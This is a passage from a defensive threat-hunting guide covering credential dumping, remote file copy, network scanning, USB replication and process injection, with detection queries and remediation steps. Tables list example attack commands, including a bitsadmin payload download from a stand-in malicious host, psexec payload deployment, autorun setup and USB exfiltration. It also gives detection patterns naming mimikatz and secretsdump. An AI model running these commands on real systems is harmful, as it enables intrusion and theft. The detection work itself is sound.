| **4688**     | A new process was created (e.g., `reg.exe`, `mimikatz.exe`). |
| **4624**     | Account logon (especially administrative accounts).          |
| **4724**     | An attempt was made to reset an account's password.          |
| **5145**     | A network share object was accessed.                         |

**📌 Focus on Event ID 4663:**

* Object Access attempts for `HKLM\SAM` or `C:\Windows\System32\config\SAM`.

**📌 Event ID 4688:**

* Look for suspicious processes:
  * `reg.exe`
  * `vssadmin.exe`
  * `mimikatz.exe`

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Identify Registry Export Commands**

* Search for SAM exports:

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*reg save HKLM\SAM*" }
```

***

#### 2️⃣ **Inspect Shadow Copies**

* List all shadow copies:

```powershell
vssadmin list shadows
```

* Look for unusual creation timestamps.

***

#### 3️⃣ **Analyze Active Processes**

* Identify active processes accessing SAM files:

```powershell
Get-Process -Name reg, vssadmin, mimikatz -IncludeUserName
```

***

#### 4️⃣ **Trace Malicious Tools**

* Search common tool artifacts:

```powershell
Get-ChildItem -Path "C:\Temp", "C:\Users\Public" -Recurse | Where-Object { $_.Name -match "mimikatz|secretsdump" }
```

***

#### 5️⃣ **Check for Remote Credential Dumps**

* Inspect network logs for suspicious remote connections:

```powershell
Get-NetTCPConnection | Where-Object { $_.RemoteAddress -notlike "192.168.*" }
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Change Local Account Passwords**

* Immediately reset local admin passwords:

```powershell
net user Administrator NewP@ssw0rd!
```

#### 📌 **2. Remove Malicious Shadow Copies**

```powershell
vssadmin delete shadows /for=C: /all /quiet
```

#### 📌 **3. Block Tools (Mimikatz, Impacket)**

* Use **AppLocker** or **WDAC** to block these tools.

#### 📌 **4. Review Local Admin Group Memberships**

```powershell
net localgroup Administrators
```

#### 📌 **5. Enable Logging and Auditing**

* Ensure **Event IDs 4663, 4688, and 4624** are monitored.

#### 📌 **6. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable LSASS Protection:**

```powershell
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
```

2. **Monitor Access to SAM Files:**
   * Enable auditing on:
     * `C:\Windows\System32\config\SAM`
     * `HKLM\SAM`
3. **Restrict Registry Access:**
   * Limit local admin privileges.
4. **Block Tool Execution:**
   * Use **Application Control Policies (AppLocker)** to block `mimikatz.exe`, `secretsdump.py`.
5. **Use Credential Guard:**
   * Enable **Windows Defender Credential Guard**.
6. **Limit Local Admin Accounts:**
   * Disable unused local admin accounts.

***

### 🧠 **6. Key Takeaways**

* **SAM Database is Critical:** Protect it with auditing and access control.
* **Monitor Registry Access:** Look for `reg save HKLM\SAM`.
* **Detect Shadow Copy Abuse:** Monitor `vssadmin` commands.
* **Credential Guard is Essential:** Prevent access to LSASS and SAM hashes.
* **Block Known Tools:** Prevent execution of `mimikatz.exe` and `secretsdump.py`.

***

## 🚨 **Remote File Copy: Advanced Threat Analysis**

### 🔍 **1. Attack Breakdown**

#### 📝 **What is Remote File Copy?**

* **Remote File Copy** is an adversarial tactic where attackers **transfer files between systems** over a network to:
  * Deploy **malicious payloads**.
  * Exfiltrate **sensitive data**.
  * Move **toolkits** or **scripts** for post-exploitation activities.

#### 📑 **Why Attackers Use Remote File Copy?**

* **Payload Deployment:** Transfer malware, tools, or scripts for persistence or lateral movement.
* **Data Exfiltration:** Steal confidential files or credentials.
* **Stealth:** Use native tools (e.g., `xcopy`, `robocopy`, `scp`) to evade detection.
* **Remote Control:** Set up additional footholds on other systems.

#### 📌 **Common Techniques for Remote File Copy**

| **Technique**                   | **Tool/Command Example**                                         | **Purpose**                                          |
| ------------------------------- | ---------------------------------------------------------------- | ---------------------------------------------------- |
| **SMB Copy**                    | `copy \\target\C$\Temp\payload.exe`                              | Copy files via SMB                                   |
| **PSExec (Sysinternals)**       | `psexec \\target -c payload.exe`                                 | Deploy payload using PsExec                          |
| **PowerShell Copy**             | `Copy-Item -Path .\payload.exe -Destination \\target\C$\Temp`    | Copy via PowerShell                                  |
| **RDP File Drop**               | File transfer using Remote Desktop                               | Upload malicious files                               |
| **FTP Transfer**                | `ftp <target>`                                                   | Transfer files via FTP                               |
| **SCP (Secure Copy Protocol)**  | `scp file.txt user@remote:/tmp/`                                 | Transfer files securely                              |
| **WinRM (PowerShell Remoting)** | `Invoke-Command -ComputerName target -ScriptBlock { Copy-Item }` | Copy files using WinRM                               |
| **BITSAdmin Abuse**             | `bitsadmin /transfer malware http://malicious.com/payload.exe`   | Download via Background Intelligent Transfer Service |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ Check Recent File Transfers via SMB**

```powershell
Get-SmbSession
```

* Look for **unusual remote sessions**.

**🕵️ Review PowerShell File Copy History**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} | Where-Object { $_.Message -like "*Copy-Item*" }
```

**🕵️ Identify Recent Remote Connections**

```powershell
Get-NetTCPConnection | Where-Object { $_.RemoteAddress -notlike "192.168.*" }
```

**🕵️ Check Remote Desktop File Transfers**

* Review **RDP logs** at:

```
Event Viewer → Applications and Services Logs → Microsoft → Windows → TerminalServices-LocalSessionManager
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect SMB File Copy Activity**

```kusto
DeviceFileEvents
| where ActionType == "FileCreated"
| where InitiatingProcessFileName in~ ("cmd.exe", "powershell.exe", "robocopy.exe", "xcopy.exe", "psexec.exe")
| where FolderPath startswith "\\"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName, InitiatingProcessCommandLine
```

**🕵️ Detect FTP or SCP Commands**

```kusto
DeviceProcessEvents
| where ProcessCommandLine contains "ftp" or ProcessCommandLine contains "scp"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Monitor PowerShell Remote Copy Attempts**

```kusto
DeviceProcessEvents
| where FileName == "powershell.exe"
| where ProcessCommandLine contains "Copy-Item" or ProcessCommandLine contains "\\"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Detect BITSAdmin Abuse**

```kusto
DeviceProcessEvents
| where FileName == "bitsadmin.exe"
| where ProcessCommandLine contains "/transfer"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Identify Unusual Remote Sessions**

```kusto
DeviceNetworkEvents
| where RemotePort == 445 or RemotePort == 3389
| where InitiatingProcessFileName in~ ("cmd.exe", "powershell.exe")
| project Timestamp, DeviceName, RemoteIP, RemotePort, InitiatingProcessCommandLine, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                                       |
| ------------ | ----------------------------------------------------- |
| **5145**     | A network share object was accessed.                  |
| **4663**     | Object access attempt (file copy attempt).            |
| **4688**     | A new process was created.                            |
| **4104**     | PowerShell Script Block Logging (Copy-Item commands). |
| **7045**     | A new service was installed (via PsExec).             |

**📌 Focus on Event ID 5145:**

* Look for file copy activity over SMB.
* Monitor logs for `\\`, `UNC paths`, or abnormal accounts.

**📌 Focus on Event ID 4688:**

* Identify suspicious commands using:
  * `robocopy.exe`
  * `xcopy.exe`
  * `psexec.exe`

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Inspect SMB Sessions**

* List current SMB connections:

```powershell
Get-SmbSession | Format-Table
```

***

#### 2️⃣ **Trace Command-Line Activity**

* Search for file copy commands:

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*Copy-Item*" }
```

***

#### 3️⃣ **Check BITSAdmin Transfers**

* Review current BITS jobs:

```powershell
bitsadmin /list /allusers /verbose
```

***

#### 4️⃣ **Inspect RDP Session Logs**

* Review file transfers via RDP logs:

```powershell
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational"
```

***

#### 5️⃣ **Check FTP or SCP Activity**

* Look for FTP logs in:

```
C:\Windows\System32\LogFiles\FTPSVC2\
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Terminate Malicious Connections**

```powershell
Stop-Process -Name "powershell" -Force
Stop-Process -Name "psexec" -Force
```

#### 📌 **2. Disable Suspicious SMB Sessions**

```powershell
Close-SmbSession -SessionId <SessionID>
```

#### 📌 **3. Remove Malicious BITS Jobs**

```powershell
bitsadmin /reset /allusers
```

#### 📌 **4. Quarantine Malicious Files**

```powershell
Move-Item -Path "C:\Temp\payload.exe" -Destination "C:\Quarantine"
```

#### 📌 **5. Block Known Tools via AppLocker**

```powershell
New-AppLockerPolicy -RuleType Deny -Path "C:\Windows\System32\psexec.exe"
```

#### 📌 **6. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Disable SMB v1:**

```powershell
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
```

2. **Limit Remote Access Tools:**
   * Restrict `psexec.exe`, `robocopy.exe`, `xcopy.exe`.
3. **Enable BITS Logging:**
   * Monitor BITS jobs via Windows Event Logs.
4. **Enable PowerShell Logging:**

```powershell
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 1
```

5. **Use Network Segmentation:**
   * Restrict file-sharing access to authorized systems.
6. **Enable SIEM Alerts:**
   * Create alerts for commands like `copy`, `scp`, `robocopy`, and `bitsadmin`.

***

### 🧠 **6. Key Takeaways**

* **Native Tools Are Dangerous:** Attackers often use legitimate tools (`xcopy`, `robocopy`) for malicious purposes.
* **Monitor SMB and FTP Activity:** Look for unauthorized file transfers.
* **Enable Script Block Logging:** Ensure `PowerShell` and `BITS` commands are logged.
* **Restrict File Sharing Permissions:** Use least privilege for network shares.

***

## 🚨 **Network Service Scanning**

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is Network Service Scanning?**

* **Network Service Scanning** is the process where attackers **probe network devices, servers, or endpoints** to identify **open ports, running services, and vulnerabilities**.
* Common goals include:
  * **Identifying Targets:** Find exploitable systems and services.
  * **Mapping the Network Topology:** Understand the structure and key services.
  * **Finding Weak Services:** Detect outdated or misconfigured services.

***

#### 📑 **Why Attackers Use Network Service Scanning?**

* **Initial Reconnaissance:** Build a map of potential entry points.
* **Vulnerability Detection:** Find exploitable services.
* **Credential Spraying:** Identify systems where default credentials may still work.
* **Evasion Planning:** Identify security controls, firewalls, and intrusion detection systems.

***

#### 📌 **Common Tools Used for Network Scanning**

| **Tool**       | **Purpose**                    | **Command Example**                        |
| -------------- | ------------------------------ | ------------------------------------------ |
| **Nmap**       | Port & service scanning        | `nmap -sV -p 1-65535 <target>`             |
| **Masscan**    | High-speed port scanning       | `masscan -p1-65535 <target>`               |
| **Netcat**     | Port probing                   | `nc -zv <target> 80`                       |
| **ZMap**       | Internet-scale scanning        | `zmap -p 80 <target>`                      |
| **Shodan API** | Search exposed systems         | `shodan search port:22`                    |
| **Metasploit** | Service vulnerability scanning | `msfconsole -x "use scanner/portscan/tcp"` |

***

#### 📊 **Common Techniques for Network Scanning**

| **Technique**                 | **Description**                          | **Example Command**    |
| ----------------------------- | ---------------------------------------- | ---------------------- |
| **TCP Connect Scan**          | Check TCP connection to each port.       | `nmap -sT <target>`    |
| **Stealth Scan (SYN Scan)**   | Evade logging by sending SYN packets.    | `nmap -sS <target>`    |
| **UDP Scan**                  | Scan UDP services.                       | `nmap -sU <target>`    |
| **Service Version Detection** | Identify software versions.              | `nmap -sV <target>`    |
| **OS Detection**              | Identify the OS type and version.        | `nmap -O <target>`     |
| **Banner Grabbing**           | Extract server information from banners. | `nc <target> 80`       |
| **SNMP Scanning**             | Identify devices using SNMP.             | `onesixtyone <target>` |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ Review Firewall Logs for Scan Patterns**

```powershell
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=5156]]"
```

* Look for repeated connection attempts from a single IP across multiple ports.

***

**🕵️ Check Failed Authentication Attempts**

```powershell
Get-EventLog -LogName Security -InstanceId 4625
```

* Multiple failed login attempts on different services may indicate scanning.

***

**🕵️ Monitor for Suspicious Connections**

```powershell
Get-NetTCPConnection | Where-Object { $_.State -eq "Established" } | Select-Object LocalAddress, RemoteAddress, LocalPort, RemotePort
```

* Unusual connections across many ports from a single IP are suspicious.

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Network Scanning Behavior**

```kusto
DeviceNetworkEvents
| where RemoteIP != "127.0.0.1"
| summarize PortCount = dcount(RemotePort) by RemoteIP
| where PortCount > 50
| project Timestamp, DeviceName, RemoteIP, PortCount
```

**🕵️ Identify High Frequency Connections**

```kusto
DeviceNetworkEvents
| summarize ConnectionCount = count() by RemoteIP, RemotePort
| where ConnectionCount > 100
| project Timestamp, DeviceName, RemoteIP, RemotePort, ConnectionCount
```

**🕵️ Detect Known Scanning Tools**

```kusto
DeviceProcessEvents
| where FileName in~ ("nmap.exe", "masscan.exe", "zmap.exe", "netcat.exe")
| project Timestamp, DeviceName, FileName, ProcessCommandLine, AccountName
```

**🕵️ Look for SYN Scans**

```kusto
DeviceNetworkEvents
| where Protocol == "TCP"
| where InitiatingProcessFileName contains "nmap"
| where RemotePort between (1 .. 1024)
| summarize ConnectionCount = count() by RemoteIP
| where ConnectionCount > 100
```

**🕵️ Identify Suspicious UDP Traffic**

```kusto
DeviceNetworkEvents
| where Protocol == "UDP"
| where RemotePort between (1 .. 65535)
| summarize ConnectionCount = count() by RemoteIP
| where ConnectionCount > 50
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                   |
| ------------ | --------------------------------- |
| **5156**     | A network connection was allowed. |
| **5152**     | A network connection was blocked. |
| **4625**     | Failed login attempt.             |
| **4688**     | A process was created.            |

**📌 Focus on Event ID 5156:**

* Look for repeated allowed connections from a single **Remote IP** to **many different ports**.

**📌 Focus on Event ID 4688:**

* Identify processes like:
  * `nmap.exe`
  * `masscan.exe`
  * `zmap.exe`

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Trace the Source IP**

* Identify the attacker’s IP address:

```powershell
netstat -ano | findstr <Suspicious_IP>
```

***

#### 2️⃣ **Inspect Command-Line History**

* Look for scanning tool execution:

```powershell
Get-History | Where-Object { $_.CommandLine -match "nmap|masscan|netcat" }
```

***

#### 3️⃣ **Check Suspicious Processes**

```powershell
Get-Process -Name nmap, masscan, zmap
```

***

#### 4️⃣ **Inspect Firewall Logs**

* Review blocked connection attempts:

```powershell
Get-NetFirewallRule -Name *scan*
```

***

#### 5️⃣ **Analyze Network Flows**

* Capture network packets:

```powershell
Start-Process -FilePath "tcpdump" -ArgumentList "-i eth0 -nn"
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Block Suspicious IP Addresses**

```powershell
New-NetFirewallRule -DisplayName "Block Suspicious Scanner" -Direction Inbound -RemoteAddress <Suspicious_IP> -Action Block
```

#### 📌 **2. Disable Unused Services and Ports**

```powershell
Disable-NetAdapterBinding -Name Ethernet -ComponentID ms_server
```

#### 📌 **3. Terminate Suspicious Processes**

```powershell
Stop-Process -Name "nmap" -Force
```

#### 📌 **4. Enable Firewall Logging**

```powershell
Set-NetFirewallProfile -Profile Domain,Public,Private -LogAllowed True
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable Intrusion Detection System (IDS):**
   * Use **Snort** or **Suricata**.
2. **Implement Rate-Limiting:**
   * Limit the number of connection attempts.
3. **Segment the Network:**
   * Use VLANs and isolated zones.
4. **Disable Unnecessary Services:**
   * Close unused ports and disable unnecessary protocols.
5. **Enable Firewall Rules:**
   * Block unused inbound ports.
6. **Monitor Common Tools:**
   * Alert on tools like **nmap.exe**, **masscan.exe**, **zmap.exe**.

***

### 🧠 **6. Key Takeaways**

* **Scanning is Often the First Step:** Early detection is critical.
* **Monitor Network Traffic:** Look for unusual connection spikes.
* **Control Tools:** Block execution of known scanning tools.
* **Enable IDS/IPS:** Use network monitoring to detect scans.

***

## 🚨 **Replication Through Removable Media: Advanced Threat Analysis**

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is Replication Through Removable Media?**

* **Replication through removable media** occurs when attackers **use USB drives, external hard drives, or other removable storage devices** to **spread malware or exfiltrate data**.
* Malware is often **automatically executed** using autorun scripts or hidden malicious files.

#### 📑 **Why Attackers Use Removable Media?**

* **Bypass Network Controls:** No reliance on network connectivity.
* **Stealth:** USB drives are less monitored than network transfers.
* **Physical Access:** Effective in air-gapped environments.
* **Persistence:** Can remain undetected and reinfect systems when reconnected.

#### 📌 **Common Techniques for USB-Based Replication**

| **Technique**              | **Description**                                      | **Example Command/Tool**       |
| -------------------------- | ---------------------------------------------------- | ------------------------------ |
| **Autorun Exploitation**   | Malware is automatically executed via `autorun.inf`. | `echo [autorun] > autorun.inf` |
| **Hidden Malicious Files** | Malware is hidden on the USB drive as system files.  | `attrib +s +h malicious.exe`   |
| **Shortcut Abuse**         | Replace folder shortcuts with malicious executables. | `cmd /c start folder.lnk`      |
| **Payload Delivery**       | Malicious payloads transferred manually.             | `copy payload.exe F:\`         |
| **Data Exfiltration**      | Sensitive data copied to the removable device.       | `xcopy C:\sensitive F:\ /E`    |

#### 📌 **Common Malware Examples**

* **USB Rubber Ducky:** Hardware-based key injection.
* **BadUSB:** Firmware-based USB attack.
* **Stuxnet:** Spread through removable drives.
* **Autorun Worms:** Malware exploiting `autorun.inf`.

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ List Attached USB Devices**

```powershell
Get-WmiObject -Class Win32_DiskDrive | Where-Object { $_.InterfaceType -eq "USB" } | Select-Object DeviceID, Model, MediaType
```

**🕵️ Check USB Activity in Logs**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-DriverFrameworks-UserMode/Operational'; Id=2003}
```

**🕵️ Search for Autorun Files**

```powershell
Get-ChildItem -Path "F:\" -Filter "autorun.inf" -Recurse -Force
```

**🕵️ Identify Recently Created or Modified Files on USB**

```powershell
Get-ChildItem -Path "F:\" -Recurse | Where-Object { $_.LastWriteTime -gt (Get-Date).AddHours(-24) }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect USB Device Connections**

```kusto
DeviceFileEvents
| where FolderPath contains ":\\"
| where DeviceName contains "USB"
| project Timestamp, DeviceName, FileName, FolderPath, ActionType, AccountName
```

**🕵️ Identify Autorun Files**

```kusto
DeviceFileEvents
| where FileName == "autorun.inf"
| where ActionType in ("FileCreated", "FileModified")
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
```

**🕵️ Detect Malware Dropped on USB**

```kusto
DeviceFileEvents
| where FolderPath contains ":\\"
| where FileName endswith ".exe" or FileName endswith ".bat"
| where ActionType == "FileCreated"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
```

**🕵️ Detect Exfiltration Activity**

```kusto
DeviceFileEvents
| where FolderPath contains ":\\"
| where ActionType == "FileCopied"
| where FileName contains "password" or FileName contains "sensitive"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
```

**🕵️ Look for Suspicious Processes Executed from USB**

```kusto
DeviceProcessEvents
| where FolderPath contains ":\\"
| where FileName endswith ".exe"
| project Timestamp, DeviceName, ProcessCommandLine, FolderPath, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                                |
| ------------ | ---------------------------------------------- |
| **2003**     | USB device connected.                          |
| **4688**     | Process creation (malware execution from USB). |
| **4663**     | Object access attempt (e.g., file copied).     |
| **4670**     | Permissions changed on an object.              |
| **4656**     | Handle to an object was requested.             |

**📌 Focus on Event ID 2003:**

* Tracks **USB device connections**.

**📌 Focus on Event ID 4688:**

* Look for processes executed directly from a USB drive (`F:\malicious.exe`).

**📌 Focus on Event ID 4663:**

* Tracks **file access events**.

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Identify USB Device Details**

* Check device properties:

```powershell
Get-PnpDevice -Class USB
```

***

#### 2️⃣ **Review USB Device History**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-DriverFrameworks-UserMode/Operational'; Id=2003}
```

***

#### 3️⃣ **Trace Executed Files from USB**

* Identify suspicious execution paths:

```powershell
Get-EventLog -LogName Security -InstanceId 4688 | Where-Object { $_.Message -like "*:\\*.exe" }
```

***

#### 4️⃣ **Check Recent File Transfers**

* Look for exfiltration patterns:

```powershell
Get-ChildItem -Path "F:\" -Recurse | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-1) }
```

***

#### 5️⃣ **Extract Autorun Configurations**

* Inspect `autorun.inf`:

```powershell
Get-Content -Path "F:\autorun.inf"
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Disable Autorun for Removable Devices**

```powershell
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDriveTypeAutoRun /t REG_DWORD /d 255 /f
```

#### 📌 **2. Quarantine Suspicious Files**

```powershell
Move-Item -Path "F:\malicious.exe" -Destination "C:\Quarantine"
```

#### 📌 **3. Block Malicious Processes**

```powershell
Stop-Process -Name "malicious" -Force
```

#### 📌 **4. Remove Suspicious Autorun Files**

```powershell
Remove-Item -Path "F:\autorun.inf"
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Disable Autorun:**
   * Prevent automatic execution of files from removable devices.
2. **Restrict USB Access:**
   * Implement policies to restrict USB drive usage.
3. **Enable USB Auditing:**
   * Enable Event Logs for USB activity.
4. **Use Device Control Solutions:**
   * Implement tools like **Microsoft Defender Device Control**.
5. **Encrypt Sensitive Data:**
   * Ensure sensitive data cannot be easily copied to USB devices.
6. **Block Known Malicious Tools:**
   * Block `autorun.inf` and known malicious file extensions via **AppLocker**.
7. **Educate Users:**
   * Train users to avoid connecting unknown USB devices.

***

### 🧠 **6. Key Takeaways**

* **USB Drives Are a Threat Vector:** Monitor USB access and file transfers.
* **Disable Autorun:** Prevent automatic execution of malicious payloads.
* **Audit USB Activity:** Enable detailed logging for USB connections.
* **Use Device Control:** Restrict or block USB usage for unauthorized users.
* **Educate Employees:** Train them on risks associated with USB drives.

***

## 🚨 **Process Injection**

***

### 🔍 \*\*1. **Attack Breakdown**

#### 📝 **What is Process Injection?**

* **Process Injection** is a technique used by attackers to **inject malicious code into legitimate processes** to:
  * **Evade Detection:** Hide within trusted processes (e.g., `explorer.exe`, `svchost.exe`).
  * **Privilege Escalation:** Execute code with higher privileges.
  * **Persistence:** Maintain access even after reboots.
  * **Bypass Security Controls:** Avoid antivirus or endpoint protection detection.

#### 📑 **Why Attackers Use Process Injection?**

* **Stealth:** Operate within trusted processes.
* **Access:** Leverage the privileges of the injected process.
* **Bypass Controls:** Avoid application whitelisting.
* **Persistence:** Maintain presence across sessions.

***

#### 📌 **Common Techniques for Process Injection**

| **Technique**                  | **Description**                                  | **Tool Example**              |
| ------------------------------ | ------------------------------------------------ | ----------------------------- |
| **DLL Injection**              | Inject malicious DLLs into legitimate processes. | `rundll32.exe`                |
| **Process Hollowing**          | Replace a process's memory with malicious code.  | `svchost.exe`                 |
| **APC Injection**              | Use Asynchronous Procedure Calls for injection.  | `Mimikatz`                    |
| **Thread Execution Hijacking** | Hijack an existing thread for malicious code.    | `Metasploit`                  |
| **Reflective DLL Injection**   | Load DLLs directly into memory.                  | `Cobalt Strike`               |
| **Shellcode Injection**        | Inject and execute raw shellcode in a process.   | `Metasploit`, `Cobalt Strike` |

***

#### 📊 **Common Tools for Process Injection**

| **Tool**           | **Purpose**                       |
| ------------------ | --------------------------------- |
| **Metasploit**     | Payload generation and injection  |
| **Mimikatz**       | Credential dumping with injection |
| **Cobalt Strike**  | Post-exploitation framework       |
| **PowerSploit**    | PowerShell exploitation scripts   |
| **Process Hacker** | Process analysis and injection    |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ List Suspicious Processes**

```powershell
Get-Process | Where-Object { $_.Path -like "*Temp*" }
```

**🕵️ Check Suspicious DLL Injections**

```powershell
Get-Process -Module | Where-Object { $_.ModuleName -like "*.dll" -and $_.FileName -like "*Temp*" }
```

**🕵️ Inspect Threads in Processes**

```powershell
Get-CimInstance Win32_Process | Select-Object ProcessId, Name, CommandLine, ParentProcessId
```

**🕵️ Check Remote Thread Creation**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*CreateRemoteThread*" }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect DLL Injection**

```kusto
DeviceFileEvents
| where FileName endswith ".dll"
| where FolderPath contains "Temp" or FolderPath contains "AppData"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName, InitiatingProcessCommandLine
```

**🕵️ Detect Remote Thread Creation**

```kusto
DeviceProcessEvents
| where ProcessCommandLine contains "CreateRemoteThread"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Identify Hollowed Processes**

```kusto
DeviceProcessEvents
| where InitiatingProcessCommandLine contains "svchost.exe"
| where ProcessCommandLine contains "explorer.exe" or ProcessCommandLine contains "cmd.exe"
| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessCommandLine, AccountName
```

**🕵️ Detect Reflective DLL Injection**

```kusto
DeviceProcessEvents
| where ProcessCommandLine contains "rundll32.exe"
| where ProcessCommandLine contains "LoadLibrary"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Monitor Suspicious Thread Creation**

```kusto
DeviceProcessEvents
| where InitiatingProcessFileName contains "powershell.exe" or InitiatingProcessFileName contains "cmd.exe"
| where ProcessCommandLine contains "VirtualAlloc" or ProcessCommandLine contains "WriteProcessMemory"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                                  |
| ------------ | ------------------------------------------------ |
| **4688**     | Process creation (Look for `CreateRemoteThread`) |
| **4689**     | Process termination                              |
| **4697**     | Service installed on a system                    |
| **4720**     | An account was created                           |

**📌 Focus on Event ID 4688:**

* Look for:

  ```makefile
  ProcessName: rundll32.exe, svchost.exe, powershell.exe
  CommandLine: CreateRemoteThread, VirtualAlloc, WriteProcessMemory
  ```

**📌 Focus on Event ID 4697:**

* Look for unusual services created with suspicious paths.

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Trace Injected Processes**

* Identify suspicious child-parent process relationships:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }
```

***

#### 2️⃣ **Analyze DLL Loading Paths**

* Verify DLL paths:

```powershell
Get-Process -Module | Where-Object { $_.ModuleName -like "*.dll" }
```

***

#### 3️⃣ **Monitor Memory Activity**

* Look for unexpected memory allocation:

```powershell
Get-Process -Name svchost | Select-Object Handles, NPM, PM, WS
```

***

#### 4️⃣ **Check Running Threads**

* Identify unusual thread activity:

```powershell
Get-Process -Id <PID> | Select-Object Threads
```

***

#### 5️⃣ **Review Command-Line Activity**

* Check for encoded or suspicious PowerShell commands:

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Select-String "EncodedCommand"
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Kill Malicious Processes**

```powershell
Stop-Process -Id <PID> -Force
```

#### 📌 **2. Quarantine Malicious DLLs**

```powershell
Move-Item -Path "C:\Temp\malicious.dll" -Destination "C:\Quarantine"
```

#### 📌 **3. Disable Suspicious Services**

```powershell
Stop-Service -Name "suspiciousService"
```

#### 📌 **4. Remove Malicious Threads**

* Terminate injected threads manually.

#### 📌 **5. Enable Advanced Threat Protection (ATP)**

* Ensure real-time protection is active.

#### 📌 **6. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable Process Auditing:**
   * Enable **Event ID 4688** and **4697**.
2. **Use Application Control:**
   * Block suspicious binaries (`rundll32.exe`, `powershell.exe`) from abnormal execution paths.
3. **Enable Windows Defender ATP:**
   * Ensure advanced threat protection is enabled.
4. **Monitor Memory Allocation:**
   * Use tools like **Sysmon** to track thread and memory injection.
5. **Disable Unused Tools:**
   * Restrict access to **rundll32.exe** and **svchost.exe**.
6. **Educate Users:**
   * Raise awareness about malicious file execution.

***

### 🧠 **6. Key Takeaways**

* **Process Injection is Stealthy:** It allows attackers to hide malicious code in legitimate processes.
* **Monitor Process Tree Anomalies:** Look for unusual parent-child relationships.
* **Focus on Memory Behavior:** Techniques like **VirtualAlloc** and **WriteProcessMemory** are common.
* **Enable Security Auditing:** Log **Event IDs 4688, 4697**, and **4689**.

***

## 🚨 **Account Manipulation**

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is Account Manipulation?**

* **Account Manipulation** refers to the **modification of user accounts** in an operating system or directory service, often with malicious intent.
* Attackers manipulate accounts to:
  * **Maintain Persistence:** Create or modify accounts for long-term access.
  * **Escalate Privileges:** Grant higher privileges to standard accounts.
  * **Evade Detection:** Disable logging or lock out legitimate administrators.
  * **Create Backdoors:** Add unauthorized accounts for fallback access.

***

#### 📑 **Why Attackers Use Account Manipulation?**

* **Stealth Persistence:** Stay undetected while maintaining access.
* **Privilege Escalation:** Gain admin or system-level access.
* **Disable Security Controls:** Turn off auditing or account policies.
* **Lateral Movement:** Use compromised accounts to move across systems.

***

